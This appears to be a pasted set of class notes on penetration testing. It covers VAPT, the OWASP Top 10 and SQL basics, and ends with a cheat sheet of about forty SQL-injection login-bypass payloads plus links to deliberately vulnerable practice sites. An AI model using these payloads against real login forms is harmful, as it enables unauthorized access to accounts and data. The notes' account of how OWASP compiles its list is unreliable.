Advertisement
Mukezh

Session SQL

Dec 17th, 2018
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.75 KB | None | 0 0
  1. Session 9
  2.  
  3. Introduction to Vulnearbility Assessment and Penetration Testing
  4. -------------------------------------------------------------------
  5.  
  6. What does this VAPT stands for :
  7. V --> Vulnerability : The LOOPHOLES ,security misconfigurations which can cause an attacker to get inside a network or website or in other terms the ways which help an attacker to intrude in the systems.
  8. A --> Assessment : It simply mean that analyzing the vulnerability and scanning the vulnerability onto how much it could cause damage to the victim.
  9. P --> Penetration : When you get the vulnerability and is accessed, a report is generated and through that further exploitation or intrusion is done this is known as penetrtion .
  10. T --> Testing : When a person is penetrating it requires several procedures or attacks to penetrate this is done thrugh this testing phase.
  11.  
  12.  
  13. Most of the scenario this whole process is carried out in two parts
  14. VA and PT
  15.  
  16. VA : Scanning of loopholes and weak security points. In this phase we just scan for the devices, web application, server, network, website and database.We don't penetrate in this phase.
  17.  
  18. PT : To gain access into the scanned vulnerabilities. We just try to hack into the services, devices, web application, servers and databases via the scanned vulnerabilities.
  19.  
  20. Several bug bounty programs :
  21. www.bugcrowd.com
  22. www.hackerone.com
  23. firebounty.com
  24.  
  25. =======================================================================
  26.  
  27. OWASP TOP-10
  28. ============
  29. Open Web Application Security Project
  30. -------------------------------------
  31. It is non-profit charitable organisation, which works towards the security of the web application. They gather the information from all around the globe. They gather the information through CTF initiative.
  32. They open challange the whole hacking community, to hack into the online system and capture the flag, in return, they will provide with the bounty. They gather the logs of the attacks which are performed in the CTF.
  33. After gathering the whole logs, they perform the analysis of these logs and categorise the attacks accordingly.
  34. They release a list of 10 attacks.
  35. OWASP TOP 10. --> top 10 attacks.
  36.  
  37. A1 -Injection
  38. A2 -Broken Authentication and Session Management
  39. A3 -Cross-Site Scripting (XSS)
  40. A4 -Insecure Direct Object References
  41. A5 -Security Misconfiguration
  42. A6 -Sensitive Data Exposure
  43. A7 -Missing Function Level Access Control
  44. A8 -Cross-Site Request Forgery (CSRF)
  45. A9 -Using Components with Known Vulnerabilities
  46. A10 -Unvalidated Redirects and Forwards
  47.  
  48. OWASP 2013 --> Stable
  49. OWASP 2017 --> Data sufficient
  50. https://www.owasp.org/images/7/72/OWASP_Top_10-2017_(en).pdf.pdf
  51.  
  52. https://cybermap.kaspersky.com/
  53. https://www.fireeye.com/cyber-map/threat-map.html
  54. http://map.norsecorp.com/
  55.  
  56.  
  57. =====================================================================
  58.  
  59.  
  60. INTRODUCTION TO DBMS
  61. =====================
  62.  
  63. Database
  64. ========
  65. A database is something which stores the information (processed data).
  66.  
  67.  
  68. DBMS
  69. ====
  70. DBMS stands for Database Management System .The DBMS manages the data and arrange it in an organized form i.e. in the form of tables. The DBMS can Create, Insert, Modify, Delete and perform other operations on the Tables and Columns the Database we are operating on.
  71.  
  72. Databases stores data in the Forms of Tables --> Columns and Rows.
  73.  
  74. Eg. Student RECORD
  75.  
  76. ------------------------------------------------------------------
  77. Sno.| NAME | CLASS | CONTACT | ADDRESS | EMAIL |
  78. 1 |abhi | 1 | 2260143 | JANAKPURI EAST | ABH1@gmail.com |
  79. 2 |Ben | 1 | 1100192 | KALKAJI ext. | ben@gmail.com |
  80. ------------------------------------------------------------------
  81.  
  82.  
  83. The above data is a structured data in the form of rows and columns.
  84. So in order to extract,alter or modify data from the above table we use some query and these queries are considered as STRUCTURED QUERIED LANGUAGE or
  85. SQL.
  86.  
  87. -------------------------------------------------------------
  88.  
  89. SQL BASICS
  90. ==========
  91.  
  92. SQL is the language in which a Database can communicate by creating , modifying or inserting any type of data. Structured Query Language works on the basis of queries.
  93.  
  94. Select * from table_name;
  95.  
  96. Queries
  97. -------
  98. 1. Insert
  99. =========
  100. Insert into <table_name>(Columns_name) values(<Values to be inserted in Ddouble quotes>);
  101.  
  102. INSERT INTO `information` (`Name`, `Age`, `Gender`, `Address`) VALUES ('aman', '25', 'M', 'Vikram NAGAR');
  103.  
  104. 2. Select
  105. =========
  106. Select * from <table_name>;
  107.  
  108. * ---> everything
  109. Select * from information;
  110.  
  111. 3. Update
  112. =========
  113. Update <table_name> set <value to be change> where <condition>;
  114.  
  115. UPDATE information set Age=30 WHERE Name="Aman"
  116.  
  117. 4. Where
  118. ========
  119. Condition clause
  120. Select * from information where name like "A%"
  121.  
  122. 5. Delete
  123. =========
  124. Delete from <table_name> where <condition>;
  125.  
  126. Delete from information where name="Aman"
  127.  
  128. 6. Create
  129. =========
  130. create table <table_name>(Column_name data_type(length));
  131.  
  132. CREATE TABLE info(name text(30),salary int(6));
  133.  
  134.  
  135. 7. Order By
  136. ===========
  137. Is used fir arranging data either in ascending order or in descending order.
  138. select * from <table_name> order by name;
  139. select * from staff order by age;
  140.  
  141. 8. group by
  142. ===========
  143. It is used for making a group
  144.  
  145. select * from table_name group by gender;
  146.  
  147. 9. Union
  148. ========
  149. Used fro combining data of two different tables. Column number in both the table must be equal.
  150. null
  151.  
  152.  
  153.  
  154.  
  155.  
  156. 10. Information_schema
  157. ======================
  158. It is a meta tables which stores only meta data ---> only table names and column names, but it will not store the data inside the column name or table.
  159.  
  160. If I want to see only the table name ---> Information_schema.tables
  161.  
  162. If I want to see the column name --> Information_schema.columns
  163.  
  164. Authentication Bypass
  165. =====================
  166. 1. Basic Authentication
  167. 2. Integrated Authentication
  168. 3. Digest Authentication
  169. 4. Form Based Authentication
  170.  
  171. I will log in in the database as an administrator, with out having the credentials of the admin.
  172.  
  173. Gates --> AND | OR
  174.  
  175. Testing Payload ---> 1'or'1'='1
  176.  
  177. https://www.abc.com/items.php?id=2
  178. Item name
  179. Item Price
  180.  
  181. Select item_name,item_price from items where username='1'or'2'='2'#
  182. Select item_name,item_price from items where id=3;
  183.  
  184. Select item_name,item_price from items where id=2'
  185.  
  186. 1'or'1'='1 ---> True
  187. 0'or'0'='0
  188. x'or'x'='x
  189.  
  190.  
  191. CHEAT SHEET for Authentication Bypass
  192.  
  193.  
  194. or 1=1
  195. or 1=1--
  196. or 1=1#
  197. or 1=1/*
  198. admin' --
  199. admin' #
  200. admin'/*
  201. admin' or '1'='1
  202. admin' or '1'='1'--
  203. admin' or '1'='1'#
  204. admin' or '1'='1'/*
  205. admin'or 1=1 or ''='
  206. admin' or 1=1
  207. admin' or 1=1--
  208. admin' or 1=1#
  209. admin' or 1=1/*
  210. admin') or ('1'='1
  211. admin') or ('1'='1'--
  212. admin') or ('1'='1'#
  213. admin') or ('1'='1'/*
  214. admin') or '1'='1
  215. admin') or '1'='1'--
  216. admin') or '1'='1'#
  217. admin') or '1'='1'/*
  218. 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
  219. admin" --
  220. admin" #
  221. admin"/*
  222. admin" or "1"="1
  223. admin" or "1"="1"--
  224. admin" or "1"="1"#
  225. admin" or "1"="1"/*
  226. admin"or 1=1 or ""="
  227. admin" or 1=1
  228. admin" or 1=1--
  229. admin" or 1=1#
  230. admin" or 1=1/*
  231. admin") or ("1"="1
  232. admin") or ("1"="1"--
  233. admin") or ("1"="1"#
  234. admin") or ("1"="1"/*
  235. admin") or "1"="1
  236. admin") or "1"="1"--
  237. admin") or "1"="1"#
  238. admin") or "1"="1"/*
  239. 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
  240.  
  241. https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249. http://testphp.vulnweb.com/
  250. http://demo.testfire.net/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement